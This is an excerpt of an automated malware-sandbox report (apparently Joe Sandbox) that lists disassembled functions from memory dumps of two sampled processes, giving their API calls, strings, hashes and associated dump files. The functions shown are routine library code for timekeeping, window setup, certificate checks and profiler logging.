Opcode ID: ddfa7b9407199ef9742c561ed560a4fcec14453637c4f7e06660374f9ea800b7
Instruction ID: 6953e83cd7b6b1f08f5fa79610b64f8d1b987f5b19bb9f39aa057284007306c9
Opcode Fuzzy Hash: ddfa7b9407199ef9742c561ed560a4fcec14453637c4f7e06660374f9ea800b7
Instruction Fuzzy Hash: 7F51A034A212689BCF10DF68E885AAE7BE5EF06314F1480D5E81C9F792D732DA05CB91

Function 00B270C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00B2710B

Strings

.bat, xrefs: 00B2713A
.exe, xrefs: 00B27118
.cmd, xrefs: 00B27129
.com, xrefs: 00B2714B

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: ccebfbf634032ace5adb3cf1d7b1d0fde116eb11392be050fd106342fedfbcda
Instruction ID: 85b73278b9a0cea19feaaea3b54b442cb55a579489f13234e3bb92cc871c3afc
Opcode Fuzzy Hash: ccebfbf634032ace5adb3cf1d7b1d0fde116eb11392be050fd106342fedfbcda
Instruction Fuzzy Hash: C2014E376982322216182419BC02A3B17D8DF83BB572900ABFD4CF73C1DE44DC435198

Function 00B2C9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B2CA37

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: 515bc3c40fde1b03fc777fa7fdc62eb78421bca0f2522bc04edfdd41e5824347
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: CEB117329002A99FDB15CF28D8817BEBFE5EF55340F2481EAE84DAB345D6349D41CBA1

Function 00B0BAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B0BAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B0BB14
_xtime_get.LIBCPMT ref: 00B0BB37
__Xtime_diff_to_millis2.LIBCPMT ref: 00B0BB43

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 9e2a1cd9bc653f420cdcfa7024e916bf9e4fdc6b98ef452e0c52b05c8ec0f088
Instruction ID: aa5e4f967a71f39a76c30f87a7d05d3862178488576abca710ca1d2b60cbf73a
Opcode Fuzzy Hash: 9e2a1cd9bc653f420cdcfa7024e916bf9e4fdc6b98ef452e0c52b05c8ec0f088
Instruction Fuzzy Hash: E1212F75A012199FDF10EFA4DC86DAEBFB8EF49714F1001A5FA01A72D1DB70AD018BA1

Analysis Process: eb98fe5174.exePID: 7864, Parent PID: 7692COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.9%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C8D35A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C95F688,00001000), ref: 6C8D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C8D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C8D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C8D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C8D369F
__aulldiv.LIBCMT ref: 6C8D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C8D3773
EnterCriticalSection.KERNEL32(6C95F688), ref: 6C8D377E
LeaveCriticalSection.KERNEL32(6C95F688), ref: 6C8D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C8D37C4
EnterCriticalSection.KERNEL32(6C95F688), ref: 6C8D37CB
LeaveCriticalSection.KERNEL32(6C95F688), ref: 6C8D3801
__aulldiv.LIBCMT ref: 6C8D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C8D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C8D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C8D394C

Strings

KpT{/, xrefs: 6C8D35AC
GTC, xrefs: 6C8D3912
AuthcAMDenti, xrefs: 6C8D3946
QPC, xrefs: 6C8D38FC
GenuntelineI, xrefs: 6C8D3639
MOZ_TIMESTAMP_MODE, xrefs: 6C8D35DB

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$KpT{/$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-2090423084
Opcode ID: 8a23d2347dc7b4030d9fc5eb673c236b5a4d0b385fa9932f1ce398297470b2dd
Instruction ID: 44a5a6b6467c7fd165a87be5b401caf84eefc2b567a10af325f8b3f3c69334d7
Opcode Fuzzy Hash: 8a23d2347dc7b4030d9fc5eb673c236b5a4d0b385fa9932f1ce398297470b2dd
Instruction Fuzzy Hash: 99B1D271B093149FDB08DF28C94461ABBF5BB8A714F65892DE899D3790D734ED04CB81

Function 6C8EC930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C8EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C8EC969
GetSystemInfo.KERNEL32(?), ref: 6C8EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C8EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C8EC9E2

Strings

KpT{/, xrefs: 6C8EC939

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID: KpT{/
API String ID: 4191843772-2391877073
Opcode ID: 36697c1c241b05df5f2081bf4b6487ce782ba45d7fd695ce3b2f9c45f64fada7
Instruction ID: 607ffbfdc4bd4491863e32ae5df29ad699ac091bbe025df0691e80bea5fb42b3
Opcode Fuzzy Hash: 36697c1c241b05df5f2081bf4b6487ce782ba45d7fd695ce3b2f9c45f64fada7
Instruction Fuzzy Hash: BF21FC32B45214ABDB14BB24DC84BAE77B9AB4B754FA0051DFD03A7B41EB70AC04C7A1

Function 6C8D3060 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C8D3095

Part of subcall function 6C8D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C95F688,00001000), ref: 6C8D35D5
Part of subcall function 6C8D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C8D35E0
Part of subcall function 6C8D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C8D35FD
Part of subcall function 6C8D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C8D363F
Part of subcall function 6C8D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C8D369F
Part of subcall function 6C8D35A0: __aulldiv.LIBCMT ref: 6C8D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8D309F

Part of subcall function 6C8F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5B85
Part of subcall function 6C8F5B50: EnterCriticalSection.KERNEL32(6C95F688,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5B90
Part of subcall function 6C8F5B50: LeaveCriticalSection.KERNEL32(6C95F688,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5BD8
Part of subcall function 6C8F5B50: GetTickCount64.KERNEL32 ref: 6C8F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C8D30BE

Part of subcall function 6C8D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C8D3127
Part of subcall function 6C8D30F0: __aulldiv.LIBCMT ref: 6C8D3140

Part of subcall function 6C90AB2A: __onexit.LIBCMT ref: 6C90AB30

Strings

KpT{/, xrefs: 6C8D306A

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID: KpT{/
API String ID: 4291168024-2391877073
Opcode ID: 02cf2a2bda33681e26485a5b64a006564569f8389cf2297df7a9d6535078bb87
Instruction ID: 46386d5aa3edb93a6d395474f2ffee686c353657afc81afb62a9a64870eb1484
Opcode Fuzzy Hash: 02cf2a2bda33681e26485a5b64a006564569f8389cf2297df7a9d6535078bb87
Instruction Fuzzy Hash: F5F0F922E2974C96CB10DF3899811E67370AF6B128FA15729E84453591FF20A5D883C1

Non-executed Functions

Function 6C8E6C80 Relevance: 97.0, APIs: 50, Strings: 5, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C8E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C8E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C8E6D26

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C8E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C8E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C8E6D73
free.MOZGLUE(00000000), ref: 6C8E6D80
CertGetNameStringW.CRYPT32 ref: 6C8E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C8E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C8E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C8E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C8E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C8E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C8E6E34
CreateFileW.KERNEL32 ref: 6C8E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C8E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C8E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C8E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C8E7103
free.MOZGLUE(00000000), ref: 6C8E7153
CloseHandle.KERNEL32(?), ref: 6C8E7176
__Init_thread_footer.LIBCMT ref: 6C8E7209
__Init_thread_footer.LIBCMT ref: 6C8E723A
__Init_thread_footer.LIBCMT ref: 6C8E726B
__Init_thread_footer.LIBCMT ref: 6C8E729C
__Init_thread_footer.LIBCMT ref: 6C8E72DC
__Init_thread_footer.LIBCMT ref: 6C8E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C8E73C2
VerSetConditionMask.NTDLL ref: 6C8E73F3
VerSetConditionMask.NTDLL ref: 6C8E73FF
VerSetConditionMask.NTDLL ref: 6C8E7406
VerSetConditionMask.NTDLL ref: 6C8E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C8E741A
moz_xmalloc.MOZGLUE(?), ref: 6C8E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C8E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C8E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C8E7598
free.MOZGLUE(00000000), ref: 6C8E75AC

Part of subcall function 6C90AB89: EnterCriticalSection.KERNEL32(6C95E370,?,?,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB94
Part of subcall function 6C90AB89: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90ABD1

Strings

KpT{/, xrefs: 6C8E6C8F
CryptCATAdminReleaseCatalogContext, xrefs: 6C8E72C8
wintrust.dll, xrefs: 6C8E72CD
(, xrefs: 6C8E768A
SHA256, xrefs: 6C8E6EC0

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$KpT{/$SHA256$wintrust.dll
API String ID: 3256780453-1039280184
Opcode ID: 216cc6b8301855b7d37735c78d3f3dec08e958215b3e9aaeda71314ac8f3fc95
Instruction ID: 8902f11073fb5bcefe03e8e2d7bc27d11ec4c6e78959fa096990782dd8bf6e87
Opcode Fuzzy Hash: 216cc6b8301855b7d37735c78d3f3dec08e958215b3e9aaeda71314ac8f3fc95
Instruction Fuzzy Hash: E25208B1A043189FEB31DF24CD84BAA77B8EF5A318F104599E90997641DB70AF84CF91

Function 6C9355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C90E1A5), ref: 6C935606
LoadLibraryW.KERNEL32(gdi32,?,6C90E1A5), ref: 6C93560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C935633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C93563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C93566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C93567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C935696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C935716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C93572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C935748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C935761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C93577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C935793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9357FF

Strings

MonitorFromWindow, xrefs: 6C93578D
GetThreadDpiAwarenessContext, xrefs: 6C93562D
GetDpiForWindow, xrefs: 6C935690
CreateWindowExW, xrefs: 6C9356C5
GetMonitorInfoW, xrefs: 6C9357A2
StretchDIBits, xrefs: 6C9357CC
AreDpiAwarenessContextsEqual, xrefs: 6C935637
CreateSolidBrush, xrefs: 6C9357E4
LoadCursorW, xrefs: 6C935774
SetWindowLongPtrW, xrefs: 6C9357B7
DeleteObject, xrefs: 6C9357F9
ReleaseDC, xrefs: 6C935742
RegisterClassW, xrefs: 6C9356AC
FillRect, xrefs: 6C935729
GetSystemMetricsForDpi, xrefs: 6C935677
SetWindowPos, xrefs: 6C9356F7
EnableNonClientDpiScaling, xrefs: 6C935666
GetWindowDC, xrefs: 6C935710
LoadIconW, xrefs: 6C93575B
gdi32, xrefs: 6C93560A
ShowWindow, xrefs: 6C9356DE
user32, xrefs: 6C935601

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 9f5a45f399ae880c132d2e9f2963bf7c1d6157d4c144e1afb368f6a954d95206
Instruction ID: 8b561bf4d59b9b4e4333272fd50afe062714aa63898891c11a13d30539196834
Opcode Fuzzy Hash: 9f5a45f399ae880c132d2e9f2963bf7c1d6157d4c144e1afb368f6a954d95206
Instruction Fuzzy Hash: 175198707093139BEB019F359D449363AFCAB4B25D7B46469ED16E2A41EF74C901CFA0

Function 6C91F070 Relevance: 61.7, APIs: 30, Strings: 5, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C91F09B

Part of subcall function 6C8F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5B85
Part of subcall function 6C8F5B50: EnterCriticalSection.KERNEL32(6C95F688,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5B90
Part of subcall function 6C8F5B50: LeaveCriticalSection.KERNEL32(6C95F688,?,?,?,6C8F56EE,?,00000001), ref: 6C8F5BD8
Part of subcall function 6C8F5B50: GetTickCount64.KERNEL32 ref: 6C8F5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C91F0AC

Part of subcall function 6C8F5C50: GetTickCount64.KERNEL32 ref: 6C8F5D40
Part of subcall function 6C8F5C50: EnterCriticalSection.KERNEL32(6C95F688), ref: 6C8F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C91F0BE

Part of subcall function 6C8F5C50: __aulldiv.LIBCMT ref: 6C8F5DB4
Part of subcall function 6C8F5C50: LeaveCriticalSection.KERNEL32(6C95F688), ref: 6C8F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C91F155
GetCurrentThreadId.KERNEL32 ref: 6C91F1E0
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F1ED
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F212
GetCurrentThreadId.KERNEL32 ref: 6C91F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C91F248
GetCurrentThreadId.KERNEL32 ref: 6C91F2AE
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F2BB
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F2F8

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91F350
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F35D
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F381
GetCurrentThreadId.KERNEL32 ref: 6C91F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F3A0
GetCurrentThreadId.KERNEL32 ref: 6C91F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F491

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C91F3CF

Part of subcall function 6C91F070: GetCurrentThreadId.KERNEL32 ref: 6C91F440
Part of subcall function 6C91F070: AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F44D
Part of subcall function 6C91F070: ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C91F4A8
GetCurrentThreadId.KERNEL32 ref: 6C91F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F561
GetCurrentThreadId.KERNEL32 ref: 6C91F577
